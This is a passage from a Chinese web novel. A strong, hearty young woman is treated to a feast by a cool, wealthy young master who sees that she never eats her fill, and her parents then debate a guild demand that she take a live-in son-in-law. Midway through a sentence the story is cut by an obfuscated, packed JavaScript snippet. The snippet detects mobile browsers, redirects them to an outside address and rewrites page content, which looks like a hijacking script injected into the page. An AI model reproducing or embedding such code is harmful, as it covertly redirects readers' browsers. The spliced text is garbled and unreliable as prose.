“捡你们这儿拿手的菜,上个几道。”邬峤吩咐完,瞥了眼那埋头苦吃的蛮牛,又补上一句,“分量做得足些。” 小圆这下嘴角都要裂到后脑勺了。公子平日饮食最是挑剔,而且时常胃口不佳,何曾在意过饭菜分量足不足?她忍不住又瞟了钟舜华一眼,才应声去安排。 不一会儿,几道热气腾腾的菜肴摆了上来。清蒸鲈鱼、荸荠狮子头、鸡汁春笋、一道时令鲜蔬,并一大盅佛跳墙。算不上铺张奢靡,但对寻常人家而言,也是极为丰盛了。 “吃。”邬峤拿起筷子,惜字如金。 钟舜华看着满桌佳肴,又犹豫起来。先前贺行老结账时,茶楼伙计那声“承惠二两六钱银子”她可是听见了。几杯茶都那么贵,这会儿这满满一桌菜,岂不是更贵?她虽馋,却不想白占别人这么大便宜。 “让你吃便吃。”邬峤夹了一筷子鲈鱼,放入她面前的小碟,抬眼瞧她,“怎么,怕我付不起账?” 14. 第 14 章 “不是……”钟舜华摇头。 “那就动筷。”邬峤不耐烦,“还差你这顿饭不成?” 这话直白得就差说她是穷鬼了,但钟舜华却生不起气来。她想了想,也是,他看起来确实很有钱。于是也不再纠结,高高兴兴地拿起筷子大快朵颐起来。 她吃得很快,动作却谈不上粗鲁,反而带着一种吸引人的满足劲儿,让人看着就忍不住好奇,这饭菜当真如此可口? 邬峤原本只是象征性地动了几筷子,胃口缺缺,不知不觉间,也跟着多用了一些。 小圆在一旁看着,惊讶又欢喜,偷偷望着两人直乐。 一顿饭接近尾声,邬峤早已放下筷子,留钟舜华一人,将桌上剩下的菜消灭得一干二净。 她放下筷子,满意地回味片刻,真心实意地赞道:“真好吃!邬峤,谢谢你。” 邬峤看她一眼,偏头招呼候在一旁的小圆:“让他们再上一道樱桃肉,一道八宝鸭。” 钟舜华“啊?”一声,反应过来,连忙摆手:“够了够了,我吃饱了,真的!我只是见不得浪费。” “饱了?”邬峤端起茶盏,慢条斯理地吹了吹浮沫,眼睫微垂,“你最后吃那几口,都舍不得往下咽。你管这叫吃饱了?” 钟舜华愣住了。 她生来力气异于常人,消耗大,饭量自然也大。可上辈子在乱世,饱一顿饿三顿是常事,这辈子家里光景又艰难,她早已习惯吃到五分饱就放筷,甚至连爹娘都未曾察觉。 没想到,这个才见第二面的人,却这样轻易看穿。 有些被戳穿的尴尬,带着一些难以言喻的情绪涌上心头,她张了张嘴,却什么也没说出来。 邬峤却已不再看她,只对小圆挥挥手。 小圆会意,快步下去吩咐了。 新加的菜很快上来,油亮喷香。邬峤将碗碟往她那边推了推:“趁热。” 钟舜华看着他的侧脸,神情是冷淡的,可线条却莫名柔和。她不再多说,低下头,认真地,一口一口地,将新上的菜也吃得干干净净。 这一次,是真的饱了。腹中充实温暖,连每一根手指的指尖都是暖洋洋的。 饭毕,茶也换了新的。 完全不懂茶的钟舜华牛饮几杯,解了渴,看向对面捏着茶盏,精神恹恹的人,认真道:“邬峤,谢谢你请我吃饭喝茶。” 邬峤笑了笑:“我不也吃了?顺带罢了。” “那不一样。”钟舜华挠挠脸,也不知该怎么谢他,“反正……你要是有什么需要帮忙的,尽管跟我说,别客气。” 邬峤微微挑眉,不解:“帮什么忙?” 钟舜华没说话,只目光像不经意般扫过不远处另一张桌子。 她早发现了,那里坐着的几个身形魁梧的劲装汉子,看似在吃饭,眼神却时不时往这边瞟。 邬峤顺着她的目光瞥了一眼,明白过来,唇角勾起一点似笑非笑的弧度,不甚在意:“他们?唔,他们是被派来……保护我的。” “哦。”钟舜华恍然点头,原来是他的侍卫。 可她心里依旧感觉怪怪的。那几人的眼神,总让她觉得没多少善意。 不过,邬峤既这么说,她也不好再多问。 “那我走啦,爹娘还等我回家呢!”她站起身,朝邬峤露出一个灿烂又侠气的笑容,“邬峤,你不是管我叫姐姐吗?既然如此,要是遇到麻烦,解决不了的,就记得来找我!当姐的一定帮你!” 邬峤静静仰头看着她,没说话。 她也不在意,挥挥手,转身下楼去了。步履轻快,背影挺拔,像一棵迎风生长的白杨。 雅座内,茶香依旧。 邬峤坐在原处,手指摩挲着温热的茶盏杯壁,望着她消失的楼梯口,那点几乎刻在他唇边的,或疏离或讥诮的弧度,在不知不觉间敛去。 他静默许久,才低声如自语一般喃喃: “姐姐……?回家……” 声音很轻,像是在笑,又像是在叹息,融化在茶水的余温里。 小圆悄悄抬眼,看着公子脸上罕见地浮现出近乎怔忡的神色,又默默垂下头。 . 暮色四合。 钟成栋揣着那张盖着鲜红官印的新契书高高兴兴回了家,一进门,就将那纸文书小心展在严珍面前:“下午那个官爷好说话多了,看完担保书就立刻给我办了。” 油灯昏黄,严珍靠在床头,干瘪的指腹抚过契书上的“钟舜华”几字,眼眶微微泛红,半晌才叹道:“当初爹给她起名时就盼着她有出息,如今……总算是,落定了。” 钟成栋在一旁搓着手,脸上是掩不住的笑意:“是啊,落定了,华儿是铺主了。还得是我老丈人,起了这么个好名字,带的福气。” 严珍睨了他一眼,笑骂:“就你会贫嘴。” 钟成栋憨憨一笑,趁着女儿不在,难得挨着妻子好一番温存,这才心满意足地钻进厨房做晚饭。 晚饭菜色简单,一碟炒鸡蛋,一碗清汤,并两个白面馍馍。严珍吃了几口,抬眼望向门外渐浓的夜色,有些担心:“华儿到底与什么人谈事?怎的谈到现在还不回来?” “没事,”钟成栋咽下口里的馍,答道,“是贺行老。他老人家向来爱跟年轻人打交道,兴许是聊尽兴了,一同吃晚饭呢。我跟华儿叮嘱过了,晚些时候,她自会驾着驴车回来。” “贺行老?”严珍一怔,脸上露出欣慰的笑,“那可是行会里顶有本事的老爷子,竟能瞧上咱们华儿?还单独指点……咱们华儿,是真的出息了。”她放下筷子,面上多出几分骄傲和怅惘,“不知不觉,都能独当一面,跟行会里的大人物坐下喝茶论艺了。这丫头……真是长大了。” 钟成栋点头附和:“是啊,手艺好,人也不怯场,今日在行会里……”他想起女儿掰断桌角吓唬钟文斌那一幕,话到嘴边又咽了回去,“嗯……很是镇得住场面。” 严珍听着,心思却渐渐飘远:“这一晃眼,都能接手铺子了……那接下来,是不是也该想想她的终身大事了?这成家立业,总得先把家成了,才好安心做事业……” 钟成栋夹菜的手一顿,抬眼觑了觑妻子的神色,话在嘴里转了几圈,才犹犹豫豫地开口:“珍娘,说起这个……今日周行首签担保书时,还提了个条件。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938690|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“条件?”严珍一看他脸色,蹙眉,“什么条件?” “行首说,华儿毕竟是女子,将来若是婚嫁,铺子恐怕要随她带入别家,或许就因此荒废了。为了能保铺子安稳传承,让我们……让我们在一个月内,给她招个赘婿入门,支撑门户,断去后路,否则,行会便要跟衙门说,将铺子交给文斌那小子。”钟成栋边说着,边小心翼翼观察着妻子的反应。 果然,严珍脸色一沉,将筷子“啪”地拍在桌上:“这是什么道理?!我女儿凭本事得的铺子,凭什么还要受此侮辱?就因她是女子?那周行首自己难道不是娘生的?!” 在寻常人家看来,这招赘招来的歪瓜裂枣,自是比不上正经女婿有本事。 严珍自生病以来,还从未动过这么大的气。钟成栋忙安抚:“你别急,仔细身子。周行首……都一把年纪了,还是长辈,也不好这么说他……”钟成栋在妻子恶狠狠的眼神中,声音越来越低,小声嗫嚅,“行首或许有他的顾虑,也是怕祖业旁落。” “你就是个软蛋!白长这么大个子!”严珍用力戳了戳他脑门,冷笑,“祖业旁落?我女儿难道不姓钟!她继承,叫什么旁落?他钟文斌倒是个带把儿的,只可惜,倒贴给我做儿我都不稀得要!” “是是是,夫人说得对。”钟成栋连连点头,等妻子气息稍平,才缓声劝道,“不过……珍娘,咱们换个念头想想。招赘……或许也不是坏事。” 严珍抬眼看他。 “你想想,”钟成栋压低声音,说出自己琢磨了一下午的想法,“咱们华儿那性子,直来直去,力气又大得吓人。若是嫁到寻常人家去,又是公婆妯娌,又是规矩礼数,她哪样吃得消?万一遇着那起子没道理的人家,反嫌弃她抛头露面做木匠,觉得她不够柔顺,岂不是要受委屈? “可若是招赘,却是大大不同。女婿入了门,那便是咱们家的人。有咱们俩看着,华儿也能一直留在身边,不用去别人家立规矩、受闲气。这铺子,往后更是稳稳当当姓钟。” 他这一番话,真真是句句说在了严珍心坎上。 作为母亲,最怕的就是女儿出嫁后受委屈。这“赘婿”二字,一开始听起来确实刺耳,这会儿细细琢磨,竟越想越好。留在身边,自家掌眼,女儿依旧能随心所欲做她喜欢的手艺活…… 严珍紧绷的神色慢慢缓和,怒意渐消,面上浮起几分思索。良久,她轻轻吐出一口气:“你说的……也不是没道理。赘婿,那就赘婿吧。只要人周正,真心待华儿,能踏实过日子,一同撑起这个家,家境差些就差些,倒不打紧。” 见妻子想通,钟成栋脸上也见了笑:“正是这个理儿!那咱俩今晚就好好合计合计,给华儿寻个合适的人选,早些把酒办了。” “成。” 夫妻俩就着昏暗的灯火,低声盘算起来。然而,街坊邻里,适龄的男子都在脑中过了一遍,却没找到合适的。 要么是个子太矮,严珍不乐意;要么是品行不佳,钟成栋看不上;要么身子骨弱,根本经不起自家女儿邦邦捶那两下。 思来想去,钟成栋迟疑着开口:“珍娘,你说……孙家那大林,怎么样?”